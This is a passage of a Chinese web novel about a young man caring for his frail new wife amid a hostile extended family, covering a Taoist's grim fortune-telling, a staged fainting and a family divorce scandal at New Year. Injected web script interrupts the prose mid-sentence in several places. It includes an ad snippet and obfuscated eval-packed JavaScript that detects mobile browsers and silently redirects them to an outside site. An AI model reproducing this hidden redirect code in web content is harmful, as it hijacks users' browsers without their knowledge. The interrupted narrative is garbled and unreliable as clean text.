无忧子正在品茶,一抬头,便只见谢让陪着一个红衣似火、雪肤如玉的女子进来,那女子眉目清冷却又不失娇妍,进门时静静抬眸打量了他一眼,便温驯地垂眸跟在谢让身后。无忧子不禁面色惊讶了一下,谢让的相貌已经让人称道了,没想到这般破落门庭里,竟还娶了个这般绝色的女子。 谢让伸手扶了叶云岫一把,扶着她小心跨过门槛。 “道长,这便是拙襟。”谢让转向叶云岫,温声介绍,“云岫,来见过无忧子道长。” 叶云岫也没开口,只默默地侧身行了个福礼,便被谢让扶着去对面椅子上坐了。因为新婚未满月,她又没有别的大红色衣裳出来见客,便依旧穿着婚服,只把婚服上的云肩、飘带等配饰摘去,像一件新嫁娘日常的喜服了。婚服宽袍大袖,越大衬得她单薄病弱。 谢让顺手帮她理了下宽大的衣袖,让她在椅子上坐好。 “道长见谅,她病中不爱说话,也有些怕生。”谢让略带歉意解释道。 无忧子从刚才一瞬惊艳中回过神来,盯着叶云岫的面容打量片刻,目光却渐渐多了一抹凝重和讶异,就连眉头也不自觉地微微皱起,半晌道:“冒犯了,谢家娘子,贫道想问一问你的八字。” 叶云岫低眉垂眼,木木地坐那儿没反应,谢让在一旁从容说了出来。 无忧子从随身箱笼里拿出纸笔把八字写下来,排了六壬,掐指算了半天,眉头却越拧越紧。 谢让看着无忧子的神色,心中不免忐忑,担心他说出什么不中听的话来,便侧头靠近叶云岫,轻声哄道:“要不你先回屋去歇着吧,道家排盘总是要费些功夫,不着急的。” 叶云岫顺从地点点头,起身出去。谢让跟到门口,看着她跨过门框,慢腾腾进了东屋,才定了定,回去坐下。 “道长——”他提醒地叫了一声,目光如炬盯着对方。 “哦……”无忧子放下笔,恍然回神,叹道,“贫道……也不知道该怎么说为好。” 此言一出,谢让脸色越发的不好了,顿了顿沉声道:“还请道长直说。” “此女早夭面相。”无忧子道,停了停又说,“若我看的没错,这女子的面相,活不过及笄成年。” 谢让脸色骤变:“那就是你看错了!” 无忧子欲言又止,却未反驳,而是说道:“还有这八字,你确定这八字是对的,你没记错?” “不会有错,庚帖上写的。”谢让道,他还不至于记错。 “这八字,虽说命途多舛,但是却并非早夭命格。” “什么意思?”谢让冷声道,“果然是你看错了。” 无忧子没恼,顿了顿自也己皱眉摇头,一脸的疑惑:“可我反复看了,反复推算,确实就是这样。这八字跟她的面相,竟是两样结果,因此我才怀疑你这八字错了。” “八字没错。一个人怎会排出两个命盘,所以如此看来,只能是你自己错了。”谢让这会儿心中不快,嘴上也就带了刺,冷讽道:“怕是道长学艺不精,还得回终南山上再修几年。” “罢了,罢了。”无忧子把纸上排出的命盘随手划了几下,涂去字迹丢入炭盆,自嘲一笑道,“算命打卦,净是瞎话,公子不必当真。” 他这么一说,反倒像是谢让咄咄逼人,不讲道理了。谢让自己也觉得有些不太好,毕竟是他自己跑去太清观把人家请来的。 谢让顿了顿,拱手一揖,缓和了语气致歉:“道长见谅,关心则乱,在下一时失态了。” “我倒不是怪你。”无忧子收拾箱笼,说道,“任谁有这么个貌美如花的新婚娇妻,听了这话也要急的,碰上那样暴脾气不讲究的,怕是拳头都揍过来了。” “只是……”无忧子沉吟,而后自己一摇头,纠结道,“罢了,连我自己也糊涂了,或许真是我哪里弄错了,公子倒也不必介怀。” “无妨。是我失礼,诚心给道长赔个罪。”谢让斟酌道,“且不论哪里错了,凡事不必忌讳,她如今确实体弱抱病,道长可知有什么破解之法?” 无忧子一摊手:“我说了你又要生气,若只是早夭命相,反正活不长久了,便不如舍身入我道门,修道修身,增福增寿,就问你能舍得吗?” 谢让无语。 无忧子一看谢让那个脸色,自己摇头懊恼道:“罢了罢了,左右是我今日自己该的,怪我道法不精,反倒叫你心挂两肠的。这么着吧,我给她一个修习之法,你让她早晚勤加练习,好歹也能祛病健身,兴许还能多活两年。” 他说着又坐回去,提笔画起图来,不大功夫,就简洁勾勒出八个动作各异的小人,跃然纸上。 无忧子跟谢让说道:“这功法是我师门所创,统共就八节动作,简单易学,动作舒展华美,因此得名为‘八段锦’,正合女子和体弱者修习。” 无忧子指着图比划演示了一遍,说道:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你先看懂了,不懂的赶紧问我,好去教她。” 叶云岫毕竟是女子,又没有师徒名分,无忧子便不乐意当面教她了。谢让跟着无忧子演练了一遍,确实简单易学。 谢让对眼前这道士的观感颇有些复杂。但他仍是诚挚地再次道谢,也去封了个红封,道士却不肯要。 谢让下午赶着驴车送道士回山,路上便特意请他吃了一顿酒,才把他送到北山。 因而等谢让返回家中时,就已经深夜了。他走之前交代过的,叫两个女孩儿家先睡,不必担心他,然而当他推开院门,东屋西屋都依旧亮着灯。 “凤宁,我回来了,你睡吧。”谢让轻轻敲了敲西屋的窗子。 屋里凤宁应了一声,很快屋里灯就熄了。谢让搓着手,带着满身寒气进了东屋。 屋里生着炭盆,温暖的气息扑面而来,叶云岫窝在床上,黑发如瀑,一双亮晶晶的眸子迎向他。 “我回来了。”谢让微笑走到床前,“药吃了吗?” 点头。 “睡吧。”他温和一笑,出去洗漱。 等他洗漱回来,叶云岫却还没睡,靠在枕上慢吞吞地问他:“那个道士,说什么了?” “嗐,算命打卦,净是瞎话。”谢让脸上神色丝毫未变,走到火盆前烤手,一边笑道,“他说你嫁了个平头百姓,怕是当不成诰命夫人,没有多大的富贵命了。” 叶云岫乌黑幽亮的眼睛看着他,撇嘴。 谢让走到床边,睇着她笑道:“我看他话里那个意思,是想说你生得这般好容貌,怎么却嫁了个精穷的凡夫俗子。” 叶云岫依旧撇嘴乜着他笑。 谢让一时没忍住,屈指作势要去弹她的脑门,叶云岫赶紧缩着脖子往下躲,缩进被窝里去了。 “没事的,我请他来给你收惊祈福,加上好好吃药,调理一阵子就好了。”谢让顿了顿,认真安抚道,“那道士也说你是体虚,还特意留了个适合你修习的道家功法,强身健体的,明早起来我教你。我看你大约就是之前养得娇弱,也不活动,加上这一路受亏太多,真得好好养一阵子了。” 无忧子那些话,谢让也没在跟叶云岫跟前提,谁也没说,然而却是在他心里留了个心结。 子不语怪力乱神,谢让也一再跟自己说不必信的,那个无忧子自己都算不明白,胡诌八扯! 可是看着眼前弱不禁风的小姑娘,他却忍不住胡乱担心。 花朵一样的少女,是他自己把人家接回来的,万一真被他养死了! 早晨请安回来,又看见她坐在梳妆台前扯头发,拿着一根桃木簪在那儿跟头发较劲。谢让心中涌起一股莫名的怜惜和迁就,赶紧把梳子要过来,小心给她把打结的地方梳开,熟练地挽了个垂髻。 叶云岫把玩着手中的桃木簪,皱着小脸懊恼道:“为什么你就会,你到底是怎么用这一根滑溜溜的簪子把头发束到一起的?” 谢让笑而不答,接过簪子给她插上。先不说男子也要束发,他的头发一直是他自己梳,并且当初母亲病重时,都是他一手照料,梳几样简单的女子发髻有什么难。 原本没有什么不好说的,可是看着她鼓着小脸懊恼的样子,却叫人忍不住想要逗弄。 谢让忍笑睨她:“偏不告诉你!” 15. 第 15 章 一早的人参片便用了鸡汤来煮,小小一碗,鲜香醇厚,感觉刚吃到嘴里就没了。 叶云岫遗憾地放下空碗,被谢让捉去院里修习八段锦。 起初还以为什么功法呢,学了一遍之后,叶云岫便将这个八段锦归类为健身体操。 不过不得不承认,道家功法还是颇有其独到之处的,八段锦不需要器械、不限制场地、动作舒缓优美,哪怕穿着厚厚的棉衣棉袍也能做。看着简单,但完整一遍练习下来,就能很好的活动整个身体。 谢让体验了一下,觉得女孩儿家学了甚好,索性把谢凤宁也捉来学,叫她们两个好生修习,自己去厨房做早饭。 他做了阳春面,配上自家腌的脆萝卜干,叶云岫又吃了不小的一碗。吃饭时谢让下意识观察她的面色,即便是练完功法、吃了饭,她的面色依旧缺少血色,全不似凤宁脸色红润。 察觉到他的目光,叶云岫停下筷子抬眸,黑白分明的眼睛与他对视: “?” 自觉解读了她那眼神,谢让笑道:“没什么,饱食伤胃,你也别吃得太饱了,少食多餐,饭后那还有一碗汤药呢。” 叶云岫:“!” 谢凤宁在旁边抿嘴偷笑。她有些惊奇,新嫂嫂不爱说话,寡言少语,二哥却不知怎么就能弄懂她的意思,她这一对哥嫂可真有趣。 饭后谢让收拾碗筷,谢凤宁便拿了衣裳打算去洗。叶云岫跟着出去,一伸手把自己的衣裳拿过来:“我,我自己洗。” 穿来这里以后,她才知道衣裳是要洗的,没有自洁功能,也没有机器,要用手洗。来了这些天,她大部分时间都窝在床上养病,然后才发现,她的衣裳大都是谢凤宁洗的,洗干净叠好了再给她放回去。 衣来伸手的日子,未免让人有点不好意思。 “二嫂,你去歇着,你还病着呢。”谢凤宁端着盆绕开她。 叶云岫一转身又拦住:“不要,我自己能洗。” 谢凤宁:“哎呀你能洗什么呀,你好好养病,我随手就洗了。” 两人僵持,谢让走过来,伸手端走了妹妹手中的木盆。以前家里就他们兄妹俩,他忙,他的衣裳也经常是凤宁给他洗,这会儿家中添了一口人,三个人的衣裳都让凤宁洗,尽管冬天不用天天洗换,却也不轻松了。 “这怎么还争上了呢。”谢让拿着盆笑道,“凤宁,你就洗你自己的衣裳吧,以后二哥屋里的活儿你就别管了,这个放着我来。” “噢,”谢凤宁听惯了兄长安排,答应一声,换了个木盆把自己的衣裳挑出来,果真端着走了。 谢让刚把手中的木盆放下,叶云岫便眼疾手快挑出几样,背在身后,板着小脸:“我自己洗。” 她挑出去的都是些小物件,谢让虽没看清,却也不难猜到,顿时也觉得冒臊了,女孩儿家的贴身小衣也叫他洗,确实…… 水井在大宅的西南角,为了方便,平日自然是拿到井边去洗,新打出来的水还没那么冷。这会儿叶云岫要自己洗衣服,谢让只好把水挑来,给她烧了些温水、拿了皂角,由着她自己洗去。 他其实很怀疑她行不行,头发都不会自己梳的千金小姐,什么时候自己洗过衣裳的。可她洗小衣,他一个大男人,总不能站在旁边教…… 或许因为无忧子道法高深,当然也或许因为他“药”下得精准,老王氏斋戒七日、念了几天的《清心咒》之后,病竟然真的好了起来。 病一好,老王氏发下话来,要见见新娶过门的孙媳妇。 谢让无奈。屈指算来,他们成婚都快满月了,老王氏跟叶云岫还不曾见过面。他倒是能借口叶云岫病还没好,再拖上一阵子,可是又能拖到哪天呢,眼看着已经腊月,就要过年了。 于是这天晚上,谢让不无担忧地告诉叶云岫,明日得早起,带她去主院给祖母请安。 谢凤宁私下里担心抱怨,担心老王氏让叶云岫站规矩。原本“站规矩”这种事,是婆婆专门拿捏驯服新媳妇的手段,老王氏作为婆祖母,说起来站不着了,可叶云岫这不是没有正经婆婆了么,而老王氏本来就不是讲究人。 老王氏不喜叶云岫,都搁在明面上了,更别说还有崔氏和小王氏两个伥鬼,因为前事种种,早就恨透了叶云岫,恨不得找机会磋磨她。 孝顺二字,归根结底便是要“顺”,难不成你还敢顶撞长辈,落个忤逆的罪名?这世道,当真背上忤逆罪名,不光妇人犯了“七出”,为人子孙,连官府都能判你个杖刑。 因此谢让一晚上叮咛嘱咐,叫叶云岫不管明天祖母说了什么、叫她做什么,都得顺着,想法子敷衍,不要让人拿住把柄,但更不能任人欺负,没的自己受罪。 “这事情由来如此,她若仗着长辈身份给你立规矩,我替不了你,也不好明着护你。” 叶云岫可怜巴巴看着他:“那我怎么办?” “傻!”谢让恨铁不成钢地嗔她,“你不是病了么,你病得这样重。” 看着小姑娘似懂非懂的小苦瓜脸,谢让无奈道:“倒也不用这么怕,你上回对付大伯母不就很聪明么?” 然而谢让却没想到,叶云岫要过的第一关还不是老王氏。 天都还没亮,丑时末就要起床准备,叶云岫被他叫醒后,一张小脸都能滴出墨汁来,就像受了莫大的委屈,气恼烦躁,悒悒睁不开眼。 起床气当头,叶云岫砍人的心都有了。 被谢让哄了又哄,连哄带骗,连骗带拖,叶云岫迷迷瞪瞪地起床洗漱、谢让给她梳了髻,才被兄妹俩一边一个带到主院,坐在前厅苦等。 寒冬腊月,一路冻的,叶云岫那点困意早醒了,就是心情特别糟,提不起半点精神来,崔氏、小王氏那堆人在她耳边聒噪些什么,她一句也没听进去。 想生气。 好容易等到红日东升,叶云岫那点起床气也消得差不多了,才有丫鬟通传老太太起来了,一个缎子大袄、法令纹很深的老妇从后堂出来,板着脸,一言不发去主位上坐了,一堆人赶紧起身行礼问安。 叶云岫跟在谢让身旁行了礼,还以为这就完成任务,就可以走了呢,老王氏却又专门点了她过来。 叶云岫起身走到近前,福身行礼,老王氏也不叫她起来,就让她那么屈膝弯腰撑着,掀着眼皮打量她半晌,才长长地嗯了一声,缓缓开了金口。 “江南叶家的女儿,礼仪规矩总不会错的。我跟前,眼下就只有你这一个孙媳妇,也是喜欢的紧,你往后就多来祖母跟前亲近亲近。往后就每日早晨寅时过来,该做什么丫鬟们自会告诉你的,也别懒惰。” 小王氏笑得一脸荡漾:“果然母亲有了孙媳妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963875|147670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就光疼孙媳妇了,我们就该失宠了。” 崔氏也捂着嘴笑道:“这可好,往后有了让哥儿媳妇陪着,母亲心尖尖上就该换人了,让哥儿媳妇,你回头就留下,给你祖母侍膳吧。老太太这般喜欢你,今儿还不得多吃一碗饭。” 崔氏示意了一下,丫鬟捧过茶盘,递给叶云岫,这是叫她先给老太太敬茶。 只见叶云岫直起身,接过茶盘,晃了一晃,然后便身子一软,往前一扑,当啷一声摔了茶盘,当着在场那么多人的面,华丽丽地晕倒了。 谢凤宁尖叫着扑了上去。 谢让脸色急变,尽管心中有数,可小姑娘戏唱得太真,连他也拿不准真假了。毕竟叶云岫确实体虚病弱,又起那么早,一清早就恹恹的,情绪状态都不对,这会儿忽然晕倒,谢让也忍不住急了。 一团慌乱之中,谢让把叶云岫一路抱回小院,赶紧打发谢询和谢谊快去请郎中。这两个小孩都是十一二岁,咋咋呼呼,毛毛糙糙,一路飞奔跑到街上,一大早砰砰砰拍医馆的门…… 李郎中前脚进了谢宅,后脚整个白石镇差不多都传遍了,老王氏磋磨新过门的孙媳妇,一大早把人折腾得晕过去了。 一时间街坊邻居议论纷纷,市井街头最不缺人说闲话,没到半日,就连堂祖父谢仲也惊动了,特意跑来一趟,跟老王氏说了半天的话。 谢仲的意思很明白,你说镇上谁不知道谢家是个什么情形,谁还不知道谢让刚进门的新妇是个病秧子,老王氏不管怎样也不该下这么狠的手,真把人弄出个好歹来,以后谢家的子孙小辈们还要不要说亲娶妻了,谁家女儿还敢嫁他们家。 谢仲到底是谢信的胞弟,指着鼻子数落老王氏这个寡嫂,老王氏真是脸都丢尽了。 早前就是李郎中给叶云岫看的诊,自然知道她身子弱,当下又说了一通“气血两亏、需得静养”之类的云云,家里的药都还没吃完呢,又开了两贴。 于是中午谢让便大大方方上街去买了一只老母鸡,拿回来杀了给叶云岫炖汤,偌大的宅子里居然都没人来蹭肉吃。 叶云岫这次吃到了一整只鸡腿,鸡肉炖得喷香软烂,吃起来都黏嘴,黄澄澄的鸡汤鲜美醇厚,汤里还加了香菇和山药,一整碗连汤带肉吃下去……其实还想再来个鸡翅膀。 可惜谢让不让她吃了,又念叨什么少食多餐。 “我真的不喜欢你们家。”吃饱喝足,叶云岫满足地歪在床上,委屈地跟谢让吐槽,“除了你和凤宁,别的都不让人喜欢。这么大的一大家子。” “别说你,我也不喜欢。” 谢让顿住,须臾,一声轻叹。 “眼下我是没法子,主要是,我要顾忌凤宁的婚事。我母亲过世,父亲又不在,凤宁的婚事他们就可以做主了,虽说有我这个兄长挡着,可我也越不过祖母去。” 这是他如今受制于家族的根源。若不然,海阔凭鱼跃,天空任鸟飞,他哪里会被拘在这宅子里,早就潇洒一身游历天下去了。 他总不能把妹妹丢下不管。而现在,又多了个叶云岫。 人一旦有了责任,有了牵绊,就总有许多需要顾忌的东西。 谢让手掌下意识地隔着被子轻轻拍拍她,含笑看着她说道:“你再忍忍,我想想法子,顶多等到凤宁嫁了人,我一定带你脱离出去。” 16. 第 16 章 午后老王氏使唤丫鬟来打探,看见叶云岫正躺在床上喝药,晚间老王氏便把谢让叫了去,说了些怀柔的话。 老王氏当然不会承认自己有错,便只是说,她也不知道新妇身子这样不好。 谢让恭敬地说道:“这不能怪祖母,祖母不知道她身子一直不好,又十分胆小怯懦,上回大伯母去我房里训斥她,也晕了一回了,那回更加凶险,要不怎会这些时日都没能来拜见祖母呢。” 看着老王氏脸色不好,谢让迟疑道:“怎么,这事情……竟没人跟祖母提过么?” 他踌躇一下,嚅嚅道,“本不该孙儿多嘴,可祖母在病中,哪知道这些事情。您是我嫡亲的祖母,我母亲不在了,本来我也得依赖您教导孙媳,只是她身子骨太弱,又有惊惧之症,病还没好,害得祖母担惊受怕。祖母哪里知道这些,竟也没人提醒祖母一句。” 老王氏正找不到人怪罪呢,上回的事情她倒不是没听说,只是没当回事,再想想这阵子崔氏在她面前给小夫妻上的那些眼药,老王氏本来就是个多心的,顿时琢磨崔氏这是想拿她当枪使啊。 害得她被人议论,还被谢仲责难。 谢家老太太怎么会有错呢,纵然有,那也肯定是别人的错。 果然,第二天便听说崔氏不知怎么触怒了老太太,被老太太寻个由头罚了跪,指着鼻子骂,连带着陪坐的小王氏也吃了挂落。 老王氏愣是这么找到了借口洗白自己,不是我这祖母不好,全都是崔氏的错。 据说崔氏被老太太一通臭骂,罚跪了一个多时辰,哭哭啼啼借着长女谢凤歌求情才饶过一回。老王氏可以肆无忌惮欺负儿媳妇,但却不能不顾忌嫁入广平伯府的嫡长孙女。 毕竟如今谢家,还想多多仰仗谢凤歌,靠上广平伯府这棵大树。 腊月十六,谢让和叶云岫新婚满月,家里反正也无人帮他们庆贺,就自家包了顿饺子,黄花木耳羊肉馅儿的,这个搭配格外鲜美,半肥半瘦的羊肉剁在馅儿里,一口咬下去油汪汪的,好吃! 这是叶云岫第一次吃到羊肉,吃完还悄悄问谢让,是小绵羊的肉吗? 谢让说是小山羊。 一入腊月二十四,进了年关,谢宅也开始热热闹闹地忙年,就连谢宸和范氏一家也暂时搬回了老宅过年。平常各房各吃各的,过年却要一大家子都聚在一起吃,从腊月二十三当晚就开始了,所有的人都聚在主院用饭。 叶云岫自然是不肯去的,借口养病,谢让便跑去宅子东北角的大厨房把饭端来,让她就在东屋里吃。 毕竟过年期间,谢宅的饭食好了不少,起码午饭是能吃到肉的。谁知好景不长,刚吃了两顿,腊月二十六,出事了。 谢凤歌回来了。 谢凤歌是被广平伯府的仆役送回来的,一行好几辆马车,附带休书一张,马车上除了护送的下人,还拉着她当初的嫁妆。 崔氏一见那张休书就昏了过去。谢诚又捡起来仔细看,上面写的休妻理由是残害子嗣,谢凤歌给府中怀了孕的贵妾下药,证据确凿。 广平伯府远在京城,却硬是不远千里、赶在过年前把谢凤歌送回娘家,还主动归还了嫁妆,摆出一副仁至义尽的样子。跟着来的是府中得力的管家婆子,当着谢家人和一堆看热闹的乡邻的面,一五一十把事情都说了一遍,总而言之一句话:是你们家姑娘自己太恶毒,可半点都怨不得我们伯府。 谢家众人如丧考妣,老王氏一口气差点没上来。 至于谢凤歌,一路上该流的泪也流光了,该骂的人也骂够了,便只木然着一张脸,看着娘家众人无动于衷。 这热闹叶云岫没赶上,谢让和谢凤宁却不能不露面,谢家发生这么大的事情,兄妹两个总得到场,晚些时候谢让回来,才跟叶云岫说起整个事情。 广平伯府看起来就是无辜的受害者,可实际呢? 这事情四婶范氏知道的内情应当多一些,晚间在主院时,范氏私下里也提了几句。其实便是范氏不提,谢让心中也有数,可以说今天这一出,丝毫都不让人意外。 四年前谢家抄家流放时,多少人落井下石,广平伯府却没有休妻,依旧待谢凤歌原样没变,一时让人称颂,之后却低调地给那四公子纳了一房出身不低的贵妾。 谢凤歌婚后生下一个女儿,这四年多,便一次也没能再怀上,而那个贵妾却接连怀了两胎,头胎是个姐儿,这一胎不出意外,必定是个男孩了。 作为谢家的嫡长孙女,家中第一个孙辈,谢凤歌的性子素来强盛,哪里是能隐忍苟全的,然后便让人抓住给怀孕七个多月的贵妾下落胎药,还没真正动手就人赃俱获、证据齐全,这事情也未免太不意外了。 结果就是广平伯府家风清正、门第清白,并且对谢家也仁至义尽,丝毫没损及伯府的好名声。用范氏的话说,广平伯府没让谢凤歌“悄然病逝”,在旁人看来已经是仁慈了。 可他广平伯府倒是清白了,谢家名声难听,谢家一群未出嫁的小姐妹们名声都得受连累。 谢家这年还怎么过?此事一出,谢让不敢指望大锅饭,只好赶紧再准备年货,大年二十七才急匆匆进了一趟城,悄悄买了一些吃的用的、零嘴点心,自家小厨房又重新开了火。 反正他们院里经常要给叶云岫煎药,烧火做饭也没人在意。 在谢宅的一片愁云惨雾中,年关该过还得过,该怎么过还得怎么过。 并且年关里外格外的忙,祭祀是头一桩大事,祭拜宗祠祖先、扫墓上坟,家中男丁都没能闲着,然后还有拜神祈福、扫尘除垢、人情走动、送年礼……谢让忙的是脚不沾地,女孩儿们事情便要少多了,尤其家中出了谢凤歌这事,家中姐妹便都谨言慎行、减少外出。 于是叶云岫和谢凤宁两人躲在小院,赶上腊月二十八一场大雪,两人把大门一关,整日里烤烤火、睡睡懒觉,弄点儿吃的喝的,小日子好不逍遥。 谢让却要带着一帮堂兄弟,清理整个宅院的积雪。腊月二十九,雪后极寒,谢让不放心外公那边,午后抽空跑了一趟,天傍黑回来的,披着蓑衣、踩着木履,裹着一身寒气推门进来,家中两个小姑娘正坐在火盆前,火盆边上还烤着花生和芋头,优哉游哉。 谢让在门口跺掉两脚的雪,忍不住笑道:“你们两个倒是在家里快活,可冻死我了。” 两个小姑娘嘻嘻哈哈笑起来,一个跑过去帮他解开蓑衣,一个给他端上热茶。 “先放着,我手脏。”谢让示意叶云岫把茶杯放在桌上,笑道,“给你们看个好东西。” 他说着,竟从蓑衣底下掏出一只活物来,叶云岫本能吓了一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984265|147670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哇,好大的兔子。”谢凤宁满脸欣喜,两手捉住兔子耳朵拎着,在手里掂了掂笑道,“这个野兔好肥呀,得有七八斤了吧,二哥,你怎么捉到的?” “前天我去打柴,可巧看见兔子洞了,就下了个套子。”赶上这场大雪,兔子也饥荒,让他套个正着。 雪白雪白的肥兔子,毛茸茸软乎乎,谢凤宁一时喜欢得不得了,撒娇道:“二哥,我们别吃它了,养着玩行不行?” “野兔子,养不活的。”谢让道,“正好炖了过年,这么大,咱们敞开肚子吃顿肉。” 谢凤宁不禁哀怨了一下,抱过去给叶云岫看:“二嫂,你摸摸它的毛,好舒服啊,这要做成衣服得多暖和。” 叶云岫没摸,她这会儿倒不怕了,但是对于活物的本能抵触,却也让她并不想碰它。 毕竟对她来说,末世之中但凡活的动物,都跟可爱沾不上边。 畸变的活物是如此,陌生的人也是如此,凡是不被信任的、不能为她所掌控的东西,都意味着可能带来的危险,让人本能地抗拒。 叶云岫仔细看了看这只兔子,问道:“它不咬人吗?” “哈哈哈,兔子怎么会咬人呢。”谢凤宁舒服地揉着兔子毛。 谢让却说:“咬人的,你没听过那句话吗,兔子急了还咬人呢。” 他这么一说,叶云岫更加不想碰了。 谢让洗了手坐下烤火喝茶,偶一侧头,便发现身边的小姑娘盯着兔子,神情带着某种戒备抵触。 他以为她害怕,笑着安慰道:“没事的,这东西不可怕,反正我还没见过兔子咬人的。” 最终这只不知道会不会咬人的肥兔子,当晚就被谢让悄默声收拾干净,兔肉炖了一大锅,皮放在不扎眼的角落晾起来,打算着抽空鞣制好了,够两个小姑娘一人做一件围脖领子了。 这一锅兔子肉他们第二天年三十中午才吃,一人一条肥嫩的兔子腿儿,肉汤配着馒头,美美体会了一把大口吃肉的豪爽。 得亏兔子有四条腿,三个人一人一条还有剩。 午饭吃得饱些,除夕夜的晚饭是一定要去主院吃的,眼下家里这个情形,这顿年夜饭只怕气氛不会太好,吃也不是,不吃也不是。 年夜饭谢凤歌没露面,崔氏也没来,听说病倒了,小王氏带着杨姨娘几个人张罗的这顿饭,凤宁也去帮忙包了饺子。 谢让去堂兄弟那桌坐了,叶云岫和谢凤宁坐在一桌,中午兔肉吃得实在,还不太饿,便随意吃了几个饺子。 饭后陪着坐了会儿,老王氏发话说她乏了,叫大家各自回去守岁吧。谢让带着两个小姑娘一起回自家小院,烤着火盆守了一会儿岁,叶云岫就跑回去睡觉了。 年初一又要早起,叶云岫被叫醒时,起床气还没来得及生,便被谢让塞了一串红绳系着的铜钱,说是给她的压岁钱。 看在有压岁钱拿,并且那串铜钱红绳编制得十分漂亮的份上,叶云岫迷糊了一会儿,皱着脸,勉为其难接了钱,爬起来洗漱。 梳头的时候谢让给她髻上插了朵红绒绢花,出去一看,谢凤宁垂鬟也绑了红色丝带,大家一起去主院拜年。 出人意料的是,谢凤歌也来了,穿一件簇新的石青绫子袄,玫瑰红云锦裙子,头上明晃晃的赤金飞凤挂珠大钗,身边还带着丫鬟。 17. 第 17 章 谢凤歌也没搭理旁人,傲然地来了,只给老王氏拜了年,便又傲然地走了。 要说谢凤歌,即使被伯府休了,却也有在娘家傲气的本钱,她手中握着的那份嫁妆,可是足够丰厚了。 当初谢家能攀上广平伯府这门勋爵之家的婚事,又是嫡长孙女,倾尽全力给她办嫁妆,连同铺子、田庄,足足陪嫁了一百零八抬。 可也因为这份嫁妆,自从谢凤歌被休回来,整个谢宅就各怀鬼胎,没消停过。尤其三房,谢寄和小王氏嚷嚷好几回了,说既然人被休回来了,当初公中出的嫁妆,那就应该还回公中,哪能还归她谢凤歌一个人。 搁在以前是一份嫁妆,搁在现在的谢家,那就是天降横财,巨额财富,谁能耐得住。 崔氏当然不干。在崔氏看来,谢凤歌的嫁妆是属于他们大房的,正好贴补给谢诚。几车嫁妆拉回来,实物摆件那些谢凤歌不能一直看着,早就落到了崔氏手里,可真正值钱的铺子、地契、金银之物,都被谢凤歌一手抓着。 谢凤歌也不是个傻的,钱这东西,在谁手里谁说了算,怎么可能交给别人? 所以谢宅这一个年节闹的呀,鸡飞狗跳,剑拔弩张。 谢凤歌大约也清楚亲娘是什么货色,她就紧巴着祖母老王氏,有钱她往老王氏身上花,今儿送燕窝、明儿送蜀锦,后儿又说要给祖母打几件时兴的新首饰。果然老王氏开始护着谢凤歌了。 不过这些都与谢让无关。他对谢凤歌的嫁妆毫不关心,只管窝在小院里,自家三口人安生过年。大冷的天,难得年关里享个清闲,他就每日督促两个小姑娘练练八段锦,自己闲来读几卷闲书、弄点儿吃的喝的。 叶云岫开始不喜欢过年了。过年总有这样那样的事情需要她露面,要跟一堆不喜欢的陌生人打交道,吃个饭也一堆规矩,烦死了! 好容易熬到元宵节,吃过元宵,这个年关才总算过去了。 元宵节一过,叶云岫便心安理得地窝回小院,谢让的事情却还没完,不光以前日常的事情重新忙起来,又开始交际应酬走亲戚了。大家大户,你都不知道家里能有多少亲戚。 正月十六“走百病”,不宜出门,安生一天,正月十七,老王氏的娘家人就上门来了。 一下子来了祖孙三代,老王氏的娘家嫂子、也就是小王氏的亲娘,老王氏的侄媳妇、也就是小王氏的娘家嫂子,陪着来的是小王氏的娘家亲侄子、老王氏的侄孙。 祖母的娘家人一来,各房自然都得去见见,谢让带着谢凤宁走了一趟,见了礼、说几句话,小王氏的娘和嫂子便拉着谢凤宁问这问那,嘘寒问暖,别提有多热络。 谢让脸色微变,不着痕迹地给谢凤宁使了个眼色,兄妹俩便找了个借口,很快告退了离开。回到小院,谢让二话没说,赶着驴车就从西角门出去,把谢凤宁送去了外公家。 其实外公家里不是很方便,可谢让眼下也没有更合适的地方。 外公原本也是殷实人家,身上还有个秀才的功名,衣食充足,儿女一双。女儿也就是谢让的母亲就不说了,谢让的舅舅为人忠厚,读书科举不太行,在陵州府谋了个小吏的差事。朝廷修建临阳行宫,谢让的舅舅被派遣去往临阳押送木料,不知怎么就出了差错,触怒贵人,被杖责八十。 人家下了狠手,那么壮的汉子没撑过当晚就死了。舅父一死,舅母半夜投缳自缢,跟着殉了情。 如今外祖母也已过世,家中就只有外祖父和周元明祖孙二人。谢让把谢凤宁送去,跟外祖父交代了一番,只说家中眼下亲戚太多,想叫谢凤宁在外公家小住些日子。 外祖父听完,了然地点头道:“这边你都放心。我回头就称病,外头只说凤宁是我叫了来、照顾我养病的。” 周元明跟着送谢让出来,横着眼睛怒道:“当真是王家那个废物?他也不撒泡尿照照。” “你别毛糙。”谢让嗔道,“你在家把外公和妹妹照管好了,少出门,我回去看看。” 谢信出身寒微,老王氏的娘家便也只是个普通农户,这些年在老王氏和小王氏两代婆媳不遗余力地贴补帮扶之下,竟也买田置地,混成了小地主,一家子过上了好日子。 